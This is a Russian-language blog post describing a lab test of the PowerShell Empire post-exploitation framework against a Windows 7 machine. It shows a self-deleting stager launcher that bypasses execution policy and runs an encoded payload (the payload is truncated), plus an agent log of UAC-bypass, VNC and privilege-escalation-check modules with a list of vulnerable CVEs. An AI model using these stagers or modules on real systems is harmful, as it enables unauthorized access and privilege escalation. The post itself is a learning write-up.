Наша жизнь невозможна без фреймворков. Фреймворки помогают создавать код, помагают выполнять код, и помогают код исследовать. Сегодня говорим про иcследование кода.
Мы любим PowerShell, но когда на нем еще и создан фреймворк, то мы любим его вдвойне. PowerShell Empire Framework - это фреймворк для пост эксплуатации windows(и не только!) систем, написанный полностью на PowerShell (серверная часть на Python, а клиентская на PowerShell, поэтому легко поднять серверную часть на том же Kali Linux, что я и сделал) который имеет в себе огромный функционал. Как вы заметили что помимо того, что он используется для постэксплуатации (повышение привилегий и закрепленния в системе) он активно используется и для активного фишинга, обхода антивируса и эксплуатации уязвимостей и одна из главных фишок - отлично используется для атак на AD (PowerView).
Тут и далее я бы начал рассказывать вам про инсталяцию PowerShell Empire Framework, про листенеры, стейджеры и агенты, про огромный список модулей постэксплуатации на все случаи жизни, про все то что красиво описано во многих других местах сети, но... не буду. Смотрите сюда, и повторяйте шаг за шагом. Если вам это интересно. Алгоритм работы очень похож на работу с Metasploit в том же Kali Linux. Кто из них лучше? По моему оба хороши.
По своему первому тесту PowerShell Empire Framework могу сказать что код агента по умолчанию направлен на разовое исполнение с последующим удалением себя на жертве как файла. Полезная нагрузка агента (payload) обфусфицирована в base64.
Пример:
#2>NUL & @CLS & PUSHD "%~dp0"
& "%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -nol -nop -ep bypass "[IO.File]::ReadAllText('%~f0')|iex"
& DEL "%~f0" & POPD /B powershell -noP -sta -w 1 -enc ..., тут далее следует код нагрузки.
На что следует обратить внимание - генерируемый код stagers в виде файла Powershell Empire теперь ложит в папку kali\Empire\empire\client\generated-stagers или в зависиммости от места самой инсталяции Powershell Empire в /usr/share/powershell-empire/empire/client/generated-stagers.
Также полезно помнить что Powershell Empire вывод агента пишет в журнал который можно найти здесь:
kali\Empire\empire\server\downloads\<AgentName>\agent.log
Для каждого агента своя папка. Вот для моего агента ABX2G8DY была такая:
kali\Empire\empire\server\downloads\ABX2G8DY\agent.log
Вот и сам журнал:
2021-11-04 09:47:34 :
[*] Agent info:
ID 2
session_id ABX2G8DY
listener Win7
name ABX2G8DY
language powershell
language_version 2
delay 5
jitter 0.0
external_ip 192.168.1.10
internal_ip 192.168.1.10
username PC01\admin
high_integrity 0
process_name powershell
process_id 3456
hostname PC01
os_details Microsoft Windows 7 Корпоративная
session_key EvtAqowZ8[X*he!NC@HuIDP:`<|%Li6Q
nonce 9357283709598940
checkin_time 2021-11-04 13:47:33+00:00
lastseen_time 2021-11-04 13:47:34+00:00
parent None
children None
servers None
profile /admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT
kill_date
working_hours
lost_limit 60
[+] Agent ABX2G8DY now active:
2021-11-04 10:11:36 :
tasked agent ABX2G8DY to run module Invoke-BypassUAC
2021-11-04 10:11:41 :
Job started: A6K3Z8
2021-11-04 10:25:35 :
tasked agent ABX2G8DY to run module Invoke-Vnc
2021-11-04 10:41:50 :
Job started: YRC2ZN
2021-11-04 10:49:59 :
tasked agent ABX2G8DY to run module Sherlock
2021-11-04 10:49:59 :
Job started: 6F8PKG
2021-11-04 10:50:04 :
Title : User Mode to Ring (KiTrap0D)
MSBulletin : MS10-015
CVEID : 2010-0232
Link : https://www.exploit-db.com/exploits/11199/
VulnStatus : Appears Vulnerable
Title : Task Scheduler .XML
MSBulletin : MS10-092
CVEID : 2010-3338, 2010-3888
Link : https://www.exploit-db.com/exploits/19930/
VulnStatus : Appears Vulnerable
Title : NTUserMessageCall Win32k Kernel Pool Overflow
MSBulletin : MS13-053
CVEID : 2013-1300
Link : https://www.exploit-db.com/exploits/33213/
VulnStatus : Not Vulnerable
Title : TrackPopupMenuEx Win32k NULL Page
MSBulletin : MS13-081
CVEID : 2013-3881
Link : https://www.exploit-db.com/exploits/31576/
VulnStatus : Not Vulnerable
Title : TrackPopupMenu Win32k Null Pointer Dereference
MSBulletin : MS14-058
CVEID : 2014-4113
Link : https://www.exploit-db.com/exploits/35101/
VulnStatus : Not Vulnerable
Title : ClientCopyImage Win32k
MSBulletin : MS15-051
CVEID : 2015-1701, 2015-2433
Link : https://www.exploit-db.com/exploits/37367/
VulnStatus : Appears Vulnerable
Title : Font Driver Buffer Overflow
MSBulletin : MS15-078
CVEID : 2015-2426, 2015-2433
Link : https://www.exploit-db.com/exploits/38222/
VulnStatus : Not Vulnerable
Title : 'mrxdav.sys' WebDAV
MSBulletin : MS16-016
CVEID : 2016-0051
Link : https://www.exploit-db.com/exploits/40085/
VulnStatus : Not Vulnerable
Title : Secondary Logon Handle
MSBulletin : MS16-032
CVEID : 2016-0099
Link : https://www.exploit-db.com/exploits/39719/
VulnStatus : Not Vulnerable
Title : Win32k Elevation of Privilege
MSBulletin : MS16-135
CVEID : 2016-7255
Link : https://github.com/FuzzySecurity/PSKernel-Primitives/tree/master/Sample-Exploits/MS16-135
VulnStatus : Not Vulnerable
Title : Nessus Agent 6.6.2 - 6.10.3
MSBulletin : N/A
CVEID : 2017-7199
Link : https://aspe1337.blogspot.co.uk/2017/04/writeup-of-cve-2017-7199.html
VulnStatus : Not Vulnerable
Из ошибок, скорее по моей неопытности, могу заметить следующее. Используя модули Disable_rdp или Enable_rdp где выполнив команду "execute" получил такую ошибку:
[!]Error: module needs to run in an elevated context.
По решению этого отпишусь позже.
Также выполнение некоторых команд с активным агентом приводит к ошибке исполнения командлета ConvertFrom-Json. Полагааю что это следствие того что агент пытается вернуть ответ с ОС с кириллической локализацией.
No comments:
Post a Comment
А что вы думаете по этому поводу?